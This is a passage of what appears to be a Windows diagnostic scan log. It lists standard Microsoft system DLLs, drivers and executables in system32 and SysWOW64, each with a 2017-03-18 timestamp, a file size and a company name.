2017-03-18 22:58 - 2017-03-18 22:58 - 00741376 _____ (Microsoft Corporation) C:\windows\system32\Drivers\PEAuth.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00740352 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.InkControls.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00738816 _____ (Microsoft Corporation) C:\windows\system32\PhoneProviders.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00734208 _____ (Microsoft Corporation) C:\windows\SysWOW64\bcastdvr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00733696 _____ (Microsoft Corporation) C:\windows\SysWOW64\qedwipes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00730624 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqlceqp40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00727552 _____ (Microsoft Corporation) C:\windows\system32\Windows.Web.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00726016 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Ocr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00726016 _____ (Microsoft Corporation) C:\windows\system32\AppContracts.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00723968 _____ (Microsoft Corporation) C:\windows\system32\NaturalAuth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00715776 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.BackgroundTransfer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00714752 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlanpref.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00714240 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Xaml.Controls.Private.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00713216 _____ (Microsoft Corporation) C:\windows\SysWOW64\wsp_sr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00710144 _____ (Microsoft Corporation) C:\windows\SysWOW64\mssvp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00709632 _____ (Microsoft Corporation) C:\windows\SysWOW64\MapControlCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00708096 _____ (Microsoft Corporation) C:\windows\SysWOW64\msdtcprx.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00708096 _____ (Microsoft Corporation) C:\windows\SysWOW64\InkObjCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00707584 _____ (Microsoft Corporation) C:\windows\SysWOW64\WinSync.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00706048 _____ (Microsoft Corporation) C:\windows\system32\lsm.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00703904 _____ (Microsoft Corporation) C:\windows\SysWOW64\DismApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00703576 _____ (Microsoft Corporation) C:\windows\SysWOW64\winhttp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00701440 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Globalization.PhoneNumberFormatting.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00696736 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Services.TargetedContent.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00695808 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.UI.Search.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00695296 _____ (Microsoft Corporation) C:\windows\SysWOW64\CPFilters.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00694784 _____ (Microsoft Corporation) C:\windows\SysWOW64\imagesp1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00694784 _____ (Microsoft Corporation) C:\windows\system32\imagesp1.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00692736 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppointmentApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00691712 _____ (Microsoft Corporation) C:\windows\system32\tdh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00690176 _____ (Microsoft Corporation) C:\windows\system32\WSDApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00689664 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Storage.Search.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00689152 _____ (Microsoft Corporation) C:\windows\system32\DevicesFlowBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00687616 _____ (Microsoft Corporation) C:\windows\system32\vpnike.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00685504 _____ (Microsoft Corporation) C:\windows\system32\SHCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00683520 _____ (Microsoft Corporation) C:\windows\system32\dsuiext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00680960 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.AccountsControl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00679936 _____ (Microsoft Corporation) C:\windows\system32\sud.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00674816 _____ (Microsoft Corporation) C:\windows\system32\wlidprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00671744 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsuiext.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00668672 _____ (Microsoft Corporation) C:\windows\SysWOW64\Vault.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00667648 _____ (Microsoft Corporation) C:\windows\system32\CellularAPI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00666016 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_StorageSense.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00665600 _____ (Microsoft Corporation) C:\windows\SysWOW64\netlogon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00665088 _____ (Microsoft Corporation) C:\windows\SysWOW64\sqlsrv32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00664576 _____ (Microsoft Corporation) C:\windows\system32\mbsmsapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00662016 _____ (Microsoft Corporation) C:\windows\system32\wiaaut.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00660384 _____ (Microsoft Corporation) C:\windows\system32\comctl32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00659456 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.Connectivity.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00657920 _____ (Microsoft Corporation) C:\windows\system32\Windows.Perception.Stub.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00655360 _____ (Microsoft Corporation) C:\windows\SysWOW64\MrmIndexer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00650752 _____ (Microsoft Corporation) C:\windows\SysWOW64\sud.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00650752 _____ (Microsoft Corporation) C:\windows\system32\UserLanguagesCpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00649856 _____ (Microsoft Corporation) C:\windows\system32\StructuredQuery.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00648704 _____ (Microsoft Corporation) C:\windows\SysWOW64\MbaeApiPublic.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00648192 _____ (Microsoft Corporation) C:\windows\SysWOW64\SmartcardCredentialProvider.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00646144 _____ (Microsoft Corporation) C:\windows\SysWOW64\mmsys.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00645632 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00643584 _____ (Microsoft Corporation) C:\windows\system32\main.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00643072 _____ (Microsoft Corporation) C:\windows\SysWOW64\msrepl40.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00643072 _____ (Microsoft Corporation) C:\windows\SysWOW64\MbaeApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00642688 _____ (Microsoft Corporation) C:\windows\system32\Drivers\cng.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00641024 _____ (Microsoft Corporation) C:\windows\SysWOW64\certca.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00640512 _____ (Microsoft Corporation) C:\windows\system32\ngccredprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00635904 _____ (Microsoft Corporation) C:\windows\SysWOW64\MCRecvSrc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00635392 _____ (Microsoft Corporation) C:\windows\system32\efswrt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00634880 _____ (Microsoft Corporation) C:\windows\SysWOW64\BingOnlineServices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00634880 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.AllJoyn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00634368 _____ (Microsoft Corporation) C:\windows\system32\wiaservc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00631296 _____ (Microsoft Corporation) C:\windows\SysWOW64\comuid.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00631296 _____ (Microsoft Corporation) C:\windows\system32\OobeFldr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00630784 _____ (Microsoft Corporation) C:\windows\SysWOW64\main.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00630784 _____ (Microsoft Corporation) C:\windows\system32\WlanMediaManager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00630784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Graphics.Printing.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00630272 _____ (Microsoft Corporation) C:\windows\system32\tileobjserver.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00629248 _____ (Microsoft Corporation) C:\windows\SysWOW64\OobeFldr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00623616 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.Bluetooth.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00623616 _____ (Microsoft Corporation) C:\windows\system32\rdpcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00620544 _____ (Microsoft Corporation) C:\windows\system32\AppxApplicabilityEngine.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00620032 _____ (Microsoft Corporation) C:\windows\system32\SyncController.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00619520 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_Devices.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00619008 _____ (Microsoft Corporation) C:\windows\SysWOW64\cdprt.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00618496 _____ (Microsoft Corporation) C:\windows\SysWOW64\mswstr10.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00615936 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.LowLevel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00613376 _____ (Microsoft Corporation) C:\windows\system32\hgcpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00612864 _____ (Microsoft Corporation) C:\windows\system32\shsvcs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00609792 _____ (Microsoft Corporation) C:\windows\SysWOW64\odbc32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00609048 _____ (Microsoft Corporation) C:\windows\SysWOW64\wer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00600576 _____ (Microsoft Corporation) C:\windows\SysWOW64\SndVolSSO.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00598528 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Web.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00595456 _____ (Microsoft Corporation) C:\windows\SysWOW64\d3dramp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00591360 _____ (Microsoft Corporation) C:\windows\SysWOW64\elslad.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00591360 _____ (Microsoft Corporation) C:\windows\system32\riched20.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00589312 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Import.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00588800 _____ (Microsoft Corporation) C:\windows\SysWOW64\osk.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00587776 _____ (Microsoft Corporation) C:\windows\SysWOW64\PCPKsp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00587264 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Security.Authentication.Web.Core.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00587264 _____ (Microsoft Corporation) C:\windows\system32\uxtheme.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00586240 _____ (Microsoft Corporation) C:\windows\SysWOW64\nshwfp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00584216 _____ (SQLite Development Team) C:\windows\SysWOW64\winsqlite3.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00584192 _____ (Microsoft Corporation) C:\windows\SysWOW64\apphelp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00583680 _____ (Microsoft Corporation) C:\windows\system32\WSDMon.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00583584 _____ (Microsoft Corporation) C:\windows\SysWOW64\wimgapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00582656 _____ (Microsoft Corporation) C:\windows\system32\SmsRouterSvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00580096 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppContracts.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00580096 _____ (Microsoft Corporation) C:\windows\system32\PrintDialogs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00578048 _____ (Microsoft Corporation) C:\windows\SysWOW64\wiaaut.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00577024 _____ (Microsoft Corporation) C:\windows\system32\duser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00574464 _____ (Microsoft Corporation) C:\windows\SysWOW64\hgcpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00574464 _____ (Microsoft Corporation) C:\windows\SysWOW64\ChatApis.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00574464 _____ (Microsoft Corporation) C:\windows\system32\configmanager2.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00573952 _____ (Microsoft Corporation) C:\windows\system32\ddraw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00573856 _____ (Microsoft Corporation) C:\windows\SysWOW64\comctl32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00572928 _____ (Microsoft Corporation) C:\windows\SysWOW64\WSDApi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00569752 _____ (Microsoft Corporation) C:\windows\SysWOW64\IasMigPlugin.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00569264 _____ (Microsoft Corporation) C:\windows\SysWOW64\SHCore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00568832 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Speech.UXRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00568832 _____ (Microsoft Corporation) C:\windows\system32\Windows.Media.Speech.UXRes.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00568320 _____ (Microsoft Corporation) C:\windows\SysWOW64\qdvd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00566784 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.UX.EapRequestHandler.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00565760 _____ (Microsoft Corporation) C:\windows\system32\webio.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00564224 _____ (Microsoft Corporation) C:\windows\SysWOW64\shsvcs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00564224 _____ (Microsoft Corporation) C:\windows\system32\dsreg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00563712 _____ (Microsoft Corporation) C:\windows\SysWOW64\provcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00563712 _____ (Microsoft Corporation) C:\windows\system32\DevicePairing.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00563200 _____ (Microsoft Corporation) C:\windows\SysWOW64\tdh.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00563200 _____ (Microsoft Corporation) C:\windows\SysWOW64\psr.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00562176 _____ (Microsoft Corporation) C:\windows\SysWOW64\qedit.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00561152 _____ (Microsoft Corporation) C:\windows\SysWOW64\dfrgui.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00561152 _____ (Microsoft Corporation) C:\windows\system32\ActionCenterCPL.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00560128 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.SmartCards.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00560128 _____ (Microsoft Corporation) C:\windows\SysWOW64\UserLanguagesCpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00557568 _____ (Microsoft Corporation) C:\windows\SysWOW64\RMActivate_isv.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00557376 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00557056 _____ (Microsoft Corporation) C:\windows\SysWOW64\XAudio2_9.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00557056 _____ (Microsoft Corporation) C:\windows\system32\SettingSync.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00556032 _____ (Microsoft Corporation) C:\windows\SysWOW64\objsel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00555840 _____ (Microsoft Corporation) C:\windows\SysWOW64\StructuredQuery.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00555008 _____ (Microsoft Corporation) C:\windows\system32\WFDSConMgrSvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00552960 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.BackgroundMediaPlayback.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00552664 _____ (Microsoft Corporation) C:\windows\SysWOW64\StateRepository.Core.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00551424 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Playback.BackgroundMediaPlayer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00551200 _____ (Microsoft Corporation) C:\windows\SysWOW64\dxgi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00550912 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Gaming.Input.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00550912 _____ (Microsoft Corporation) C:\windows\system32\Windows.Payments.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00549888 _____ (Microsoft Corporation) C:\windows\system32\Drivers\nwifi.sys
2017-03-18 22:58 - 2017-03-18 22:58 - 00548864 _____ (Microsoft Corporation) C:\windows\SysWOW64\LockAppBroker.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00548864 _____ (Microsoft Corporation) C:\windows\system32\SensorService.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00548352 _____ (Microsoft Corporation) C:\windows\SysWOW64\AppxApplicabilityEngine.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00547840 _____ (Microsoft Corporation) C:\windows\SysWOW64\cryptui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00545792 _____ (Microsoft Corporation) C:\windows\SysWOW64\uReFS.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00545792 _____ (Microsoft Corporation) C:\windows\SysWOW64\ddraw.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00544768 _____ (Microsoft Corporation) C:\windows\system32\Windows.ApplicationModel.Wallet.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00542936 _____ (Microsoft Corporation) C:\windows\SysWOW64\sxs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00541696 _____ (Microsoft Corporation) C:\windows\SysWOW64\ActionCenterCPL.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00541088 _____ (Microsoft Corporation) C:\windows\system32\mcupdate_GenuineIntel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00540160 _____ (Microsoft Corporation) C:\windows\system32\timedate.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00538112 _____ (Microsoft Corporation) C:\windows\SysWOW64\RMActivate.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00537600 _____ (Microsoft Corporation) C:\windows\system32\ipnathlp.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00537088 _____ (Microsoft Corporation) C:\windows\SysWOW64\untfs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00536064 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.Management.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00535552 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Media.Playback.MediaPlayer.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00532480 _____ (Microsoft Corporation) C:\windows\SysWOW64\rdpcore.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00527872 _____ (Microsoft Corporation) C:\windows\SysWOW64\iprtrmgr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00525824 _____ (Microsoft Corporation) C:\windows\SysWOW64\hhctrl.ocx
2017-03-18 22:58 - 2017-03-18 22:58 - 00525312 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlidprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00524760 _____ (Microsoft Corporation) C:\windows\system32\WWanAPI.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00524288 _____ (Microsoft Corporation) C:\windows\SysWOW64\ngccredprov.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00524288 _____ (Microsoft Corporation) C:\windows\SysWOW64\mscms.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00524288 _____ (Microsoft Corporation) C:\windows\system32\cdpusersvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00522240 _____ (Microsoft Corporation) C:\windows\SysWOW64\SyncController.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00521728 _____ (Microsoft Corporation) C:\windows\SysWOW64\taskschd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00521728 _____ (Microsoft Corporation) C:\windows\SysWOW64\clbcatq.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00520704 _____ (Microsoft Corporation) C:\windows\SysWOW64\PrintDialogs.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00518144 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.Enumeration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00517632 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Networking.Connectivity.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00512000 _____ (Microsoft Corporation) C:\windows\system32\twinapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00508928 _____ (Microsoft Corporation) C:\windows\system32\Windows.Networking.BackgroundTransfer.ContentPrefetchTask.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00508344 _____ (Microsoft Corporation) C:\windows\SysWOW64\dnsapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00508320 _____ (Microsoft Corporation) C:\windows\system32\msdelta.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00507904 _____ (Microsoft Corporation) C:\windows\SysWOW64\wlidcli.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00502784 _____ (Microsoft Corporation) C:\windows\SysWOW64\DevicePairing.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00501760 _____ (Microsoft Corporation) C:\windows\system32\powercpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00501760 _____ (Microsoft Corporation) C:\windows\system32\authfwcfg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00501248 _____ (Microsoft Corporation) C:\windows\SysWOW64\riched20.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00501248 _____ (Microsoft Corporation) C:\windows\system32\scesrv.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00500224 _____ (Microsoft Corporation) C:\windows\system32\PhoneDataSync.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00497152 _____ (Microsoft Corporation) C:\windows\system32\Windows.Shell.BlueLightReduction.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00497152 _____ (Microsoft Corporation) C:\windows\system32\rastls.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00496640 _____ (Microsoft Corporation) C:\windows\system32\MapConfiguration.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00495616 _____ (Microsoft Corporation) C:\windows\system32\winipcfile.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00494592 _____ (Microsoft Corporation) C:\windows\system32\Windows.Devices.WiFiDirect.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00494080 _____ (Microsoft Corporation) C:\windows\SysWOW64\timedate.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00492544 _____ (Microsoft Corporation) C:\windows\SysWOW64\psisdecd.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00492544 _____ (Microsoft Corporation) C:\windows\system32\glmf32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00491520 _____ (Microsoft Corporation) C:\windows\system32\NgcCtnrSvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00491232 _____ (Microsoft Corporation) C:\windows\SysWOW64\msvcp_win.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00490496 _____ (Microsoft Corporation) C:\windows\SysWOW64\mbsmsapi.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00489984 _____ (Microsoft Corporation) C:\windows\system32\defragsvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00488960 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsound.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00488960 _____ (Microsoft Corporation) C:\windows\system32\schannel.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00485888 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Graphics.Printing.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00485888 _____ (Microsoft Corporation) C:\windows\system32\SettingsHandlers_PCDisplay.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00485376 _____ (Microsoft Corporation) C:\windows\SysWOW64\cmdial32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00482816 _____ (Microsoft Corporation) C:\windows\system32\NetSetupShim.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00482816 _____ (Microsoft Corporation) C:\windows\system32\dmenrollengine.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00480920 _____ (Microsoft Corporation) C:\windows\SysWOW64\advapi32.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00480256 _____ (Microsoft Corporation) C:\windows\SysWOW64\duser.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00478720 _____ (Microsoft Corporation) C:\windows\system32\prnfldr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00477696 _____ (Microsoft Corporation) C:\windows\SysWOW64\RMActivate_ssp_isv.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00477696 _____ (Microsoft Corporation) C:\windows\SysWOW64\RMActivate_ssp.exe
2017-03-18 22:58 - 2017-03-18 22:58 - 00477696 _____ (Microsoft Corporation) C:\windows\SysWOW64\newdev.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00477184 _____ (Microsoft® Windows® Operating System) C:\windows\SysWOW64\wvc.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00476160 _____ (Microsoft Corporation) C:\windows\SysWOW64\prnfldr.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00475136 _____ (Microsoft Corporation) C:\windows\SysWOW64\dsreg.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00474736 _____ (Microsoft Corporation) C:\windows\SysWOW64\directmanipulation.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00474112 _____ (Microsoft Corporation) C:\windows\SysWOW64\uxtheme.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00473600 _____ (Microsoft Corporation) C:\windows\SysWOW64\powercpl.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00473600 _____ (Microsoft Corporation) C:\windows\system32\wlangpui.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00473088 _____ (Microsoft Corporation) C:\windows\system32\intl.cpl
2017-03-18 22:58 - 2017-03-18 22:58 - 00472176 _____ (Microsoft Corporation) C:\windows\system32\policymanager.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00471552 _____ (Microsoft Corporation) C:\windows\SysWOW64\Windows.Devices.AllJoyn.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00471040 _____ (Microsoft Corporation) C:\windows\SysWOW64\VAN.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00471040 _____ (Microsoft Corporation) C:\windows\SysWOW64\SettingSync.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00470592 _____ (Microsoft Corporation) C:\windows\system32\wow64win.dll
2017-03-18 22:58 - 2017-03-18 22:58 - 00470016 _____ (Microsoft Corporation) C:\windows\system32\SystemSettings.UserAccountsHandlers.dll
